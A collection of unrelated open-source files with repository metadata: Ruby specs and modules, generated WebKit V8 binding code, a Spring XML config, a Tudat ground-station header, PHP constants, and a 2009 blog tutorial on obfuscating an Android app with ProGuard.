require_relative '../spec_helper' describe PermalinksController do context "index action" do before { get :index } it 'should render index template' do response.should render_template "index" end it 'should create a new empty permalink' do assigns[:permalink].url.should be_nil end end context "show action" do let(:url) { "http://test/" } let(:permalink) { PermalinkRepo.instance.register url } context 'unknown :id submitted' do before { get :show, id: 'unknown' + permalink.to_param } it 'should redirect to main page' do response.should redirect_to root_path end end context ':id is submitted with extra symbol' do before { get :show, id: permalink.to_param } it 'should render show template' do response.should render_template "show" end it 'should recall a permalink' do assigns[:permalink].url.should == url end end context ':id is submitted without extra symbol' do before { get :show, id: permalink.short } it 'should redirect to recalled url' do response.should redirect_to permalink.url end end end context "create action" do before { post :create, permalink: { url: 'http://test/' } } it 'should register provided permalink' do assigns[:permalink].short.should_not be_empty end it 'should redirect to show action' do response.should redirect_to permalink_path assigns[:permalink].to_param end end end
{ "content_hash": "ddca423eb15c97895d6700f208682f75", "timestamp": "", "source": "github", "line_count": 60, "max_line_length": 77, "avg_line_length": 25.533333333333335, "alnum_prop": 0.652088772845953, "repo_name": "maksar/shortener", "id": "d7686f5e63496c72d5633e9743d813fd0fe169e7", "size": "1532", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "spec/controllers/permalinks_controller_spec.rb", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "2485" }, { "name": "CoffeeScript", "bytes": "104" }, { "name": "JavaScript", "bytes": "694" }, { "name": "Ruby", "bytes": "35945" } ], "symlink_target": "" }
/* This file is part of the WebKit open source project. This file has been generated by generate-bindings.pl. DO NOT MODIFY! This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Library General Public License for more details. You should have received a copy of the GNU Library General Public License along with this library; see the file COPYING.LIB. If not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "config.h" #include "V8TestSerializedScriptValueInterface.h" #if ENABLE(Condition1) || ENABLE(Condition2) #include "BindingState.h" #include "ContextFeatures.h" #include "ExceptionCode.h" #include "Frame.h" #include "MessagePort.h" #include "RuntimeEnabledFeatures.h" #include "SerializedScriptValue.h" #include "V8Binding.h" #include "V8DOMWrapper.h" #include "V8MessagePort.h" #include <wtf/ArrayBuffer.h> #include <wtf/UnusedParam.h> namespace WebCore { WrapperTypeInfo V8TestSerializedScriptValueInterface::info = { V8TestSerializedScriptValueInterface::GetTemplate, V8TestSerializedScriptValueInterface::derefObject, 0, 0, V8TestSerializedScriptValueInterface::installPerContextPrototypeProperties, 0, WrapperTypeObjectPrototype }; namespace TestSerializedScriptValueInterfaceV8Internal { template <typename T> void V8_USE(T) { } static v8::Handle<v8::Value> valueAttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.value._get"); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); return imp->value() ? imp->value()->deserialize() : v8::Handle<v8::Value>(v8::Null(info.GetIsolate())); } static void valueAttrSetter(v8::Local<v8::String> name, v8::Local<v8::Value> value, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.value._set"); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); RefPtr<SerializedScriptValue> v = SerializedScriptValue::create(value, info.GetIsolate()); imp->setValue(WTF::getPtr(v)); return; } static v8::Handle<v8::Value> readonlyValueAttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.readonlyValue._get"); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); return imp->readonlyValue() ? imp->readonlyValue()->deserialize() : v8::Handle<v8::Value>(v8::Null(info.GetIsolate())); } static v8::Handle<v8::Value> cachedValueAttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.cachedValue._get"); v8::Handle<v8::String> propertyName = v8::String::NewSymbol("cachedValue"); v8::Handle<v8::Value> value = info.Holder()->GetHiddenValue(propertyName); if (!value.IsEmpty()) return value; TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); SerializedScriptValue* serialized = imp->cachedValue(); value = serialized ? serialized->deserialize() : v8::Handle<v8::Value>(v8::Null(info.GetIsolate())); info.Holder()->SetHiddenValue(propertyName, value); return value; } static void cachedValueAttrSetter(v8::Local<v8::String> name, v8::Local<v8::Value> value, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.cachedValue._set"); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); RefPtr<SerializedScriptValue> v = SerializedScriptValue::create(value, info.GetIsolate()); imp->setCachedValue(WTF::getPtr(v)); info.Holder()->DeleteHiddenValue(v8::String::NewSymbol("cachedValue")); // Invalidate the cached value. return; } static v8::Handle<v8::Value> portsAttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.ports._get"); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); MessagePortArray* ports = imp->ports(); if (!ports) return v8::Array::New(0); MessagePortArray portsCopy(*ports); v8::Local<v8::Array> portArray = v8::Array::New(portsCopy.size()); for (size_t i = 0; i < portsCopy.size(); ++i) portArray->Set(v8Integer(i, info.GetIsolate()), toV8(portsCopy[i].get(), info.Holder(), info.GetIsolate())); return portArray; } static v8::Handle<v8::Value> cachedReadonlyValueAttrGetter(v8::Local<v8::String> name, const v8::AccessorInfo& info) { INC_STATS("DOM.TestSerializedScriptValueInterface.cachedReadonlyValue._get"); v8::Handle<v8::String> propertyName = v8::String::NewSymbol("cachedReadonlyValue"); v8::Handle<v8::Value> value = info.Holder()->GetHiddenValue(propertyName); if (!value.IsEmpty()) return value; TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(info.Holder()); SerializedScriptValue* serialized = imp->cachedReadonlyValue(); value = serialized ? serialized->deserialize() : v8::Handle<v8::Value>(v8::Null(info.GetIsolate())); info.Holder()->SetHiddenValue(propertyName, value); return value; } static v8::Handle<v8::Value> acceptTransferListCallback(const v8::Arguments& args) { INC_STATS("DOM.TestSerializedScriptValueInterface.acceptTransferList"); if (args.Length() < 1) return throwNotEnoughArgumentsError(args.GetIsolate()); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(args.Holder()); MessagePortArray messagePortArrayTransferList; ArrayBufferArray arrayBufferArrayTransferList; if (args.Length() > 1) { if (!extractTransferables(args[1], messagePortArrayTransferList, arrayBufferArrayTransferList, args.GetIsolate())) return throwTypeError("Could not extract transferables"); } bool dataDidThrow = false; RefPtr<SerializedScriptValue> data = SerializedScriptValue::create(args[0], &messagePortArrayTransferList, &arrayBufferArrayTransferList, dataDidThrow, args.GetIsolate()); if (dataDidThrow) return v8Undefined(); if (args.Length() <= 1) { imp->acceptTransferList(data); return v8Undefined(); } imp->acceptTransferList(data, messagePortArrayTransferList); return v8Undefined(); } static v8::Handle<v8::Value> multiTransferListCallback(const v8::Arguments& args) { INC_STATS("DOM.TestSerializedScriptValueInterface.multiTransferList"); TestSerializedScriptValueInterface* imp = V8TestSerializedScriptValueInterface::toNative(args.Holder()); if (args.Length() <= 0) { imp->multiTransferList(); return v8Undefined(); } MessagePortArray messagePortArrayTx; ArrayBufferArray arrayBufferArrayTx; if (args.Length() > 1) { if (!extractTransferables(args[1], messagePortArrayTx, arrayBufferArrayTx, args.GetIsolate())) return throwTypeError("Could not extract transferables"); } bool firstDidThrow = false; RefPtr<SerializedScriptValue> first = SerializedScriptValue::create(args[0], &messagePortArrayTx, &arrayBufferArrayTx, firstDidThrow, args.GetIsolate()); if (firstDidThrow) return v8Undefined(); if (args.Length() <= 1) { imp->multiTransferList(first); return v8Undefined(); } if (args.Length() <= 2) { imp->multiTransferList(first, messagePortArrayTx); return v8Undefined(); } MessagePortArray messagePortArrayTxx; ArrayBufferArray arrayBufferArrayTxx; if (args.Length() > 3) { if (!extractTransferables(args[3], messagePortArrayTxx, arrayBufferArrayTxx, args.GetIsolate())) return throwTypeError("Could not extract transferables"); } bool secondDidThrow = false; RefPtr<SerializedScriptValue> second = SerializedScriptValue::create(args[2], &messagePortArrayTxx, &arrayBufferArrayTxx, secondDidThrow, args.GetIsolate()); if (secondDidThrow) return v8Undefined(); if (args.Length() <= 3) { imp->multiTransferList(first, messagePortArrayTx, second); return v8Undefined(); } imp->multiTransferList(first, messagePortArrayTx, second, messagePortArrayTxx); return v8Undefined(); } } // namespace TestSerializedScriptValueInterfaceV8Internal static const V8DOMConfiguration::BatchedAttribute V8TestSerializedScriptValueInterfaceAttrs[] = { // Attribute 'value' (Type: 'attribute' ExtAttr: '') {"value", TestSerializedScriptValueInterfaceV8Internal::valueAttrGetter, TestSerializedScriptValueInterfaceV8Internal::valueAttrSetter, 0 /* no data */, static_cast<v8::AccessControl>(v8::DEFAULT), static_cast<v8::PropertyAttribute>(v8::None), 0 /* on instance */}, // Attribute 'readonlyValue' (Type: 'readonly attribute' ExtAttr: '') {"readonlyValue", TestSerializedScriptValueInterfaceV8Internal::readonlyValueAttrGetter, 0, 0 /* no data */, static_cast<v8::AccessControl>(v8::DEFAULT), static_cast<v8::PropertyAttribute>(v8::None), 0 /* on instance */}, // Attribute 'cachedValue' (Type: 'attribute' ExtAttr: 'CachedAttribute') {"cachedValue", TestSerializedScriptValueInterfaceV8Internal::cachedValueAttrGetter, TestSerializedScriptValueInterfaceV8Internal::cachedValueAttrSetter, 0 /* no data */, static_cast<v8::AccessControl>(v8::DEFAULT), static_cast<v8::PropertyAttribute>(v8::None), 0 /* on instance */}, // Attribute 'ports' (Type: 'readonly attribute' ExtAttr: '') {"ports", TestSerializedScriptValueInterfaceV8Internal::portsAttrGetter, 0, 0 /* no data */, static_cast<v8::AccessControl>(v8::DEFAULT), static_cast<v8::PropertyAttribute>(v8::None), 0 /* on instance */}, // Attribute 'cachedReadonlyValue' (Type: 'readonly attribute' ExtAttr: 'CachedAttribute') {"cachedReadonlyValue", TestSerializedScriptValueInterfaceV8Internal::cachedReadonlyValueAttrGetter, 0, 0 /* no data */, static_cast<v8::AccessControl>(v8::DEFAULT), static_cast<v8::PropertyAttribute>(v8::None), 0 /* on instance */}, }; static const V8DOMConfiguration::BatchedCallback V8TestSerializedScriptValueInterfaceCallbacks[] = { {"acceptTransferList", TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback}, {"multiTransferList", TestSerializedScriptValueInterfaceV8Internal::multiTransferListCallback}, }; v8::Handle<v8::Value> V8TestSerializedScriptValueInterface::constructorCallback(const v8::Arguments& args) { INC_STATS("DOM.TestSerializedScriptValueInterface.Constructor"); if (!args.IsConstructCall()) return throwTypeError("DOM object constructor cannot be called as a function."); if (ConstructorMode::current() == ConstructorMode::WrapExistingObject) return args.Holder(); if (args.Length() < 2) return throwNotEnoughArgumentsError(args.GetIsolate()); STRING_TO_V8PARAMETER_EXCEPTION_BLOCK(V8Parameter<>, hello, MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined)); MessagePortArray messagePortArrayTransferList; ArrayBufferArray arrayBufferArrayTransferList; if (args.Length() > 2) { if (!extractTransferables(args[2], messagePortArrayTransferList, arrayBufferArrayTransferList, args.GetIsolate())) return throwTypeError("Could not extract transferables"); } bool dataDidThrow = false; RefPtr<SerializedScriptValue> data = SerializedScriptValue::create(args[1], &messagePortArrayTransferList, &arrayBufferArrayTransferList, dataDidThrow, args.GetIsolate()); if (dataDidThrow) return v8Undefined(); RefPtr<TestSerializedScriptValueInterface> impl = TestSerializedScriptValueInterface::create(hello, data, messagePortArrayTransferList); v8::Handle<v8::Object> wrapper = args.Holder(); V8DOMWrapper::createDOMWrapper(impl.release(), &info, wrapper, args.GetIsolate()); return wrapper; } static v8::Persistent<v8::FunctionTemplate> ConfigureV8TestSerializedScriptValueInterfaceTemplate(v8::Persistent<v8::FunctionTemplate> desc) { desc->ReadOnlyPrototype(); v8::Local<v8::Signature> defaultSignature; defaultSignature = V8DOMConfiguration::configureTemplate(desc, "TestSerializedScriptValueInterface", v8::Persistent<v8::FunctionTemplate>(), V8TestSerializedScriptValueInterface::internalFieldCount, V8TestSerializedScriptValueInterfaceAttrs, WTF_ARRAY_LENGTH(V8TestSerializedScriptValueInterfaceAttrs), V8TestSerializedScriptValueInterfaceCallbacks, WTF_ARRAY_LENGTH(V8TestSerializedScriptValueInterfaceCallbacks)); UNUSED_PARAM(defaultSignature); // In some cases, it will not be used. desc->SetCallHandler(V8TestSerializedScriptValueInterface::constructorCallback); v8::Local<v8::ObjectTemplate> instance = desc->InstanceTemplate(); v8::Local<v8::ObjectTemplate> proto = desc->PrototypeTemplate(); UNUSED_PARAM(instance); // In some cases, it will not be used. UNUSED_PARAM(proto); // In some cases, it will not be used. // Custom toString template desc->Set(v8::String::NewSymbol("toString"), V8PerIsolateData::current()->toStringTemplate()); return desc; } v8::Persistent<v8::FunctionTemplate> V8TestSerializedScriptValueInterface::GetRawTemplate() { V8PerIsolateData* data = V8PerIsolateData::current(); V8PerIsolateData::TemplateMap::iterator result = data->rawTemplateMap().find(&info); if (result != data->rawTemplateMap().end()) return result->value; v8::HandleScope handleScope; v8::Persistent<v8::FunctionTemplate> templ = createRawTemplate(); data->rawTemplateMap().add(&info, templ); return templ; } v8::Persistent<v8::FunctionTemplate> V8TestSerializedScriptValueInterface::GetTemplate() { V8PerIsolateData* data = V8PerIsolateData::current(); V8PerIsolateData::TemplateMap::iterator result = data->templateMap().find(&info); if (result != data->templateMap().end()) return result->value; v8::HandleScope handleScope; v8::Persistent<v8::FunctionTemplate> templ = ConfigureV8TestSerializedScriptValueInterfaceTemplate(GetRawTemplate()); data->templateMap().add(&info, templ); return templ; } bool V8TestSerializedScriptValueInterface::HasInstance(v8::Handle<v8::Value> value) { return GetRawTemplate()->HasInstance(value); } v8::Handle<v8::Object> V8TestSerializedScriptValueInterface::createWrapper(PassRefPtr<TestSerializedScriptValueInterface> impl, v8::Handle<v8::Object> creationContext, v8::Isolate* isolate) { ASSERT(impl.get()); ASSERT(DOMDataStore::current(isolate)->get(impl.get()).IsEmpty()); v8::Handle<v8::Object> wrapper = V8DOMWrapper::instantiateV8Object(creationContext, &info, impl.get()); if (UNLIKELY(wrapper.IsEmpty())) return wrapper; installPerContextProperties(wrapper, impl.get()); v8::Persistent<v8::Object> wrapperHandle = V8DOMWrapper::createDOMWrapper(impl, &info, wrapper, isolate); if (!hasDependentLifetime) wrapperHandle.MarkIndependent(); return wrapper; } void V8TestSerializedScriptValueInterface::derefObject(void* object) { static_cast<TestSerializedScriptValueInterface*>(object)->deref(); } } // namespace WebCore #endif // ENABLE(Condition1) || ENABLE(Condition2)
{ "content_hash": "840a10c468c370bfb72b48bc0733a4f2", "timestamp": "", "source": "github", "line_count": 317, "max_line_length": 287, "avg_line_length": 49.80441640378549, "alnum_prop": 0.7444261464403344, "repo_name": "leighpauls/k2cro4", "id": "2532f1e6814968ee36a179b9b07a504a4f5de13a", "size": "15788", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "third_party/WebKit/Source/WebCore/bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "ASP", "bytes": "3062" }, { "name": "AppleScript", "bytes": "25392" }, { "name": "Arduino", "bytes": "464" }, { "name": "Assembly", "bytes": "68131038" }, { "name": "C", "bytes": "242794338" }, { "name": "C#", "bytes": "11024" }, { "name": "C++", "bytes": "353525184" }, { "name": "Common Lisp", "bytes": "3721" }, { "name": "D", "bytes": "1931" }, { "name": "Emacs Lisp", "bytes": "1639" }, { "name": "F#", "bytes": "4992" }, { "name": "FORTRAN", "bytes": "10404" }, { "name": "Java", "bytes": "3845159" }, { "name": "JavaScript", "bytes": "39146656" }, { "name": "Lua", "bytes": "13768" }, { "name": "Matlab", "bytes": "22373" }, { "name": "Objective-C", "bytes": "21887598" }, { "name": "PHP", "bytes": "2344144" }, { "name": "Perl", "bytes": "49033099" }, { "name": "Prolog", "bytes": "2926122" }, { "name": "Python", "bytes": "39863959" }, { "name": "R", "bytes": "262" }, { "name": "Racket", "bytes": "359" }, { "name": "Ruby", "bytes": "304063" }, { "name": "Scheme", "bytes": "14853" }, { "name": "Shell", "bytes": "9195117" }, { "name": "Tcl", "bytes": "1919771" }, { "name": "Verilog", "bytes": "3092" }, { "name": "Visual Basic", "bytes": "1430" }, { "name": "eC", "bytes": "5079" } ], "symlink_target": "" }
module Bot::DiscordEvents module Ready extend Discordrb::EventContainer ready do |event| event.bot.game = Bot::CONFIG.game end end end
{ "content_hash": "76da8c7d29e89faa58f18028ea1dc9d2", "timestamp": "", "source": "github", "line_count": 8, "max_line_length": 39, "avg_line_length": 19.625, "alnum_prop": 0.6878980891719745, "repo_name": "berlack/ThatcherBot", "id": "b9970dec99a475dcc479f91e4f514fab85d1c0ac", "size": "157", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/modules/events/ready.rb", "mode": "33188", "license": "mit", "language": [ { "name": "Ruby", "bytes": "9333" } ], "symlink_target": "" }
require 'simple_oauth' require 'forcefield/middleware'
{ "content_hash": "f872d27322fca5ab9a359d6a72880532", "timestamp": "", "source": "github", "line_count": 2, "max_line_length": 31, "avg_line_length": 27.5, "alnum_prop": 0.8181818181818182, "repo_name": "tonywok/forcefield", "id": "caa696d973837174c5098d68d0e02c66ad8ab598", "size": "55", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "lib/forcefield.rb", "mode": "33188", "license": "mit", "language": [ { "name": "Ruby", "bytes": "10506" } ], "symlink_target": "" }
<?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop" xmlns:context="http://www.springframework.org/schema/context" xmlns:p="http://www.springframework.org/schema/p" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd" > <bean id="my" class="BeanWithProperties" p:prop="2"> <property name="prop" value="2"/> </bean> </beans>
{ "content_hash": "56bad6bbccf5d11f7492fd35c15d20c8", "timestamp": "", "source": "github", "line_count": 12, "max_line_length": 217, "avg_line_length": 67, "alnum_prop": 0.7263681592039801, "repo_name": "consulo/consulo-spring", "id": "a39d0eebccd13339d705ea3282c8e5adf2436f89", "size": "804", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "spring-tests/testData/gutters/propertyGutter.xml", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "HTML", "bytes": "6976" }, { "name": "Java", "bytes": "2765692" }, { "name": "Lex", "bytes": "3178" } ], "symlink_target": "" }
#ifndef TUDAT_POINTINGANGLESCALCULATOR_H #define TUDAT_POINTINGANGLESCALCULATOR_H #include <memory> #include <boost/bind.hpp> #include <Eigen/Core> #include <Eigen/Geometry> #include "Tudat/Astrodynamics/Ephemerides/rotationalEphemeris.h" #include "Tudat/Astrodynamics/GroundStations/groundStationState.h" namespace tudat { namespace ground_stations { //! Class to calculate the pointing angles (azimuth elevation) from a topocentric frame /*! * Class to calculate the pointing (i.e. viewing) angles (azimuth elevation) from a topocentric frame. The rotations between * an inertial and body-fixed and body-fixed and tropocentric are provided to the constructor. <ember functions can be used * to calculate the pointing angles from the ground station to a vector in an inertial frame and a time. */ class PointingAnglesCalculator { public: //! Constructor, takes functions defininf the sub-rotations from inertial to topocentric frame. /*! * Constructor, takes functions defininf the sub-rotations from inertial to topocentric frame. * \param rotationFromInertialToBodyFixedFrame Function returning the rotation from the inertial to the body-fixed * frame at a specified time. * \param rotationFromBodyFixedToTopoCentricFrame Function returning the rotation from the body-fixed to the * topocentric frame at a specified time (note that this rotation is typically time-independent). */ PointingAnglesCalculator( const std::function< Eigen::Quaterniond( const double ) > rotationFromInertialToBodyFixedFrame, const std::function< Eigen::Quaterniond( const double ) > rotationFromBodyFixedToTopoCentricFrame ): rotationFromInertialToBodyFixedFrame_( rotationFromInertialToBodyFixedFrame ), rotationFromBodyFixedToTopoCentricFrame_( rotationFromBodyFixedToTopoCentricFrame ){ } //! Function to calculate the elevation angle from body-fixed point to given point. /*! * Function to calculate the elevation angle from body-fixed reference point (typically ground station) to given point. * The elevation angle is calculatwed w.r.t. the shape of the body on which the reference point is located. * \param inertialVectorAwayFromStation Vector from reference point to target point (i.e. to which elevation angle is to * be calculated), expressed in inertial frame. * \param time Time at which elevation angle is to be calculated. * \return Elevation angle from reference point to input point (inertialVectorAwayFromStation) */ double calculateElevationAngle( const Eigen::Vector3d inertialVectorAwayFromStation, const double time ); //! Function to calculate the azimuth angle from body-fixed point to given point. /*! * Function to calculate the azimuth angle from body-fixed reference point (typically ground station) to given point. * The azimuth angle is calculatwed w.r.t. the shape of the body on which the reference point is located. * \param inertialVectorAwayFromStation Vector from reference point to target point (i.e. to which azimuth angle is to be * calculated), expressed in inertial frame. * \param time Time at which azimuth angle is to be calculated. * \return Azimuth angle from reference point to input point (inertialVectorAwayFromStation) */ double calculationAzimuthAngle( const Eigen::Vector3d inertialVectorAwayFromStation, const double time ); //! Function to calculate the elevation and azimuth angles from body-fixed point to given point. /*! * Function to calculate the azimuth and elevationangle from body-fixed reference point to given point. * \param inertialVectorAwayFromStation Vector from reference point to target point expressed in inertial frame. * \param time Time at which angles are to be calculated. * \return Elevation and azimuth angle (in that order) from reference point to input point (inertialVectorAwayFromStation) */ std::pair< double, double > calculatePointingAngles( const Eigen::Vector3d inertialVectorAwayFromStation, const double time ); //! Function to convert vector in inertial frame to topocentric frame. /*! * Function to convert vector in inertial frame to topocentric frame, with unit vectors in ENU (Earth-North-Up) order. * \param inertialVector Vector in inertial frame that is to be transformed to topocentric frame. * \param time Time at which rotation is to be calculated. * \return Vector expressed in topocentric frame. */ Eigen::Vector3d convertVectorFromInertialToTopocentricFrame( const Eigen::Vector3d& inertialVector, const double time ); private: //! Function returning the rotation from the inertial to the body-fixed frame at a specified time. const std::function< Eigen::Quaterniond( const double ) > rotationFromInertialToBodyFixedFrame_; //! Function returning the rotation from the body-fixed to the topocentric frame /*! * Function returning the rotation from the body-fixed to the topocentric frame at a * specified time (note that this rotation is typically time-independent). */ const std::function< Eigen::Quaterniond( const double ) > rotationFromBodyFixedToTopoCentricFrame_; }; } } #endif // TUDAT_POINTINGANGLESCALCULATOR_H
{ "content_hash": "325bf71150c1ad94e3d129487c068769", "timestamp": "", "source": "github", "line_count": 103, "max_line_length": 130, "avg_line_length": 51.90291262135922, "alnum_prop": 0.754769921436588, "repo_name": "DominicDirkx/tudat", "id": "2e6d504f2e4290dfd9b7987c0d94e6025ed16c28", "size": "5775", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "Tudat/Astrodynamics/GroundStations/pointingAnglesCalculator.h", "mode": "33261", "license": "bsd-3-clause", "language": [ { "name": "C", "bytes": "8026" }, { "name": "C++", "bytes": "12614398" }, { "name": "CMake", "bytes": "185505" }, { "name": "HCL", "bytes": "30891" }, { "name": "MATLAB", "bytes": "2799" } ], "symlink_target": "" }
<?php /** * Various constants. */ define('TASKTASTE_ALLOWED_TAGS', '<a>'); define('TASKTASTE_FIRST_TASKS_SIZE', 5); define('TASKTASTE_FIRST_TASK_NAME', 'First task, click to edit'); define('TASKTASTE_NEW_TASK_NAME_PART1', 'New task '); define('TASKTASTE_NEW_TASK_NAME_PART2', ', click to edit'); define('TASKTASTE_NEW_TASK_SIZE', 1); define('TASKTASTE_ONELINE_DESCRIPTION', 'Simple and transparent planning and tracking of projects'); define('TASKTASTE_PROJECT_NAME_MAX_LENGTH', 100); define('TASKTASTE_SECOND_TASK_NAME', 'Second task, click to edit'); define('TASKTASTE_TASK_NAME_MAX_LENGTH', 250); define('TASKTASTE_DEFAULT_PROJECT_DESCRIPTION', 'Project description. Click here to edit if you are a logged in project administrator.'); define('EMAIL', 'email'); define('NEW_EMAIL', 'newemail'); define('NEW_PASSWORD', 'newpassword'); define('NEW_USERNAME', 'newusername'); define('PASSWORD', 'password'); define('PROJECT_DESCRIPTION', 'projectdesc'); define('PROJECT_ID', 'projectid'); define('PROJECT_NAME', 'projectname'); define('PROJECT_WORKED_PER_WEEK', 'workedperweek'); define('REMEMBER_LOGIN', 'rememberlogin'); define('TASK_ID', 'taskid'); define('TASK_NAME', 'taskname'); define('TASK_SEQUENCE_NUMBER', 'tasksequencenumber'); define('TASK_SIZE', 'tasksize'); define('USERID', 'userid'); define('USERNAME', 'username'); ?>
{ "content_hash": "b08bd6a34154d7d30c164b08312278a1", "timestamp": "", "source": "github", "line_count": 38, "max_line_length": 137, "avg_line_length": 35.31578947368421, "alnum_prop": 0.7183308494783904, "repo_name": "Enselic/task-taste", "id": "a96621305c10ae673fcab862492f9911901fdedf", "size": "1965", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "includes/TaskTaste/constants.php", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "7244" }, { "name": "JavaScript", "bytes": "22976" }, { "name": "PHP", "bytes": "93892" }, { "name": "Python", "bytes": "15675" } ], "symlink_target": "" }
ACCEPTED #### According to The Catalogue of Life, 3rd January 2011 #### Published in null #### Original name null ### Remarks null
{ "content_hash": "ca886468f50ae79d3e6c046bc2d4396a", "timestamp": "", "source": "github", "line_count": 13, "max_line_length": 39, "avg_line_length": 10.307692307692308, "alnum_prop": 0.6940298507462687, "repo_name": "mdoering/backbone", "id": "d0d5dd9c57c1b113572444413a56e9dcea9c4a19", "size": "187", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "life/Plantae/Magnoliophyta/Magnoliopsida/Malpighiales/Phyllanthaceae/Phyllanthus/Phyllanthus chevalieri/README.md", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
id: 126 title: How to obfuscate an Android application date: 2009-07-21T01:57:54+00:00 author: Junda Ong layout: post guid: http://blog.just2us.com/2009/07/tutorial-obfuscate-an-android-application/ permalink: /2009/07/tutorial-obfuscate-an-android-application/ dsq_thread_id: - 65765114 arkayne-cache-post: - | | <!-- BlogGlue Plugin Error --> <!-- This page cannot be linked by BlogGlue. --> <!-- Your Account was not found. --> <!-- http://www.blogglue.com/contact/ --> arkayne-time-post: - 1400239346 categories: - Android - Development - How-to tags: - tutorials --- There is no easy way to obfuscate Java classes of an Android app. This is no Eclipse plugin, nor even a working ant script. Maybe there are <a href="http://code.google.com/p/zxing/source/browse/trunk/android-m3/build.xml?r=321" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://code.google.com/p/zxing/source/browse/trunk/android-m3/build.xml?r=321', 'working ant scripts');">working ant scripts</a>. But for Android SDK 1.5, it seems like no one has supplied a proper one, yet. And hence, I spent half a day hacking out <a href="http://blog.just2us.com/wp-content/uploads/2009/07/build.xml" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://blog.just2us.com/wp-content/uploads/2009/07/build.xml', 'a script that works');">a script that works</a>. There are more effort and hurdles than what are presented here.. but for a simple working script, here it is how I did it: &#160; ### 1 Create a Project From the Terminal, in /android-sdk/tools/, run: > ./android create project &#8211;target 2 &#8211;path /PATH/TO/ObfuscatedApp &#8211;activity MyActivity &#8211;package com.just2me.obfapp &#160; ### 2 Edit build.xml Replace the build.xml with <a href="http://blog.just2us.com/wp-content/uploads/2009/07/build.xml" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://blog.just2us.com/wp-content/uploads/2009/07/build.xml', 'my modified build.xml');">my modified build.xml</a>, which is the most important item in this tutorial. The obfuscation work is in the optimize target as seen below. <p align="center"> <a href="http://blog.just2us.com/wp-content/uploads/2009/07/ant-buildxml.png" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://blog.just2us.com/wp-content/uploads/2009/07/ant-buildxml.png', '');"><img style="border-top-width: 0px; border-left-width: 0px; border-bottom-width: 0px; border-right-width: 0px" height="214" alt="ant build.xml" src="http://blog.just2us.com/wp-content/uploads/2009/07/ant-buildxml-thumb.png" width="498" border="0" /></a> </p> Some points to note in the build.xml ant script: * Edit the properties for the path to your Android SDK and <a href="http://proguard.sourceforge.net/" onclick="__gaTracker('send', 'event', 'outbound-article', 'http://proguard.sourceforge.net/', 'Proguard');">Proguard</a> * If you use any libraries, copy them to /lib and add -libraryjars ${library-jar}/some\_lib\_used.jar accordingly * -dontoptimize is needed for Android * For all classes that are declared in AndroidManifest.xml Application nodes (Activities, Receviers, etc), add an arg to tell proguard not to obfuscate. Exampe: "-keep public class com.just2me.obfapp.activity.*" &#160; #### 3 Run ant The last step is to simply run the ant script! To package a debug version that is signed with a debug key, run "ant debug-obf". To package a release version that is unsigned, run "ant release-obf". If all is well, then you will find the products in /bin. ObfuscatedApp-debug.apk would be the debug package that could be installed on simulator/devices. <div style="font-size:0px;height:0px;line-height:0px;margin:0;padding:0;clear:both"> </div>
